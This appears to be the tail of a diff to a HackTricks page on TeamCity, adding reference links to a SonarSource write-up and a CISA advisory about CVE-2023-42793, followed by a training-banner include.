+- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability)
+- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793)
+
+{{#include ../../banners/hacktricks-training.md}}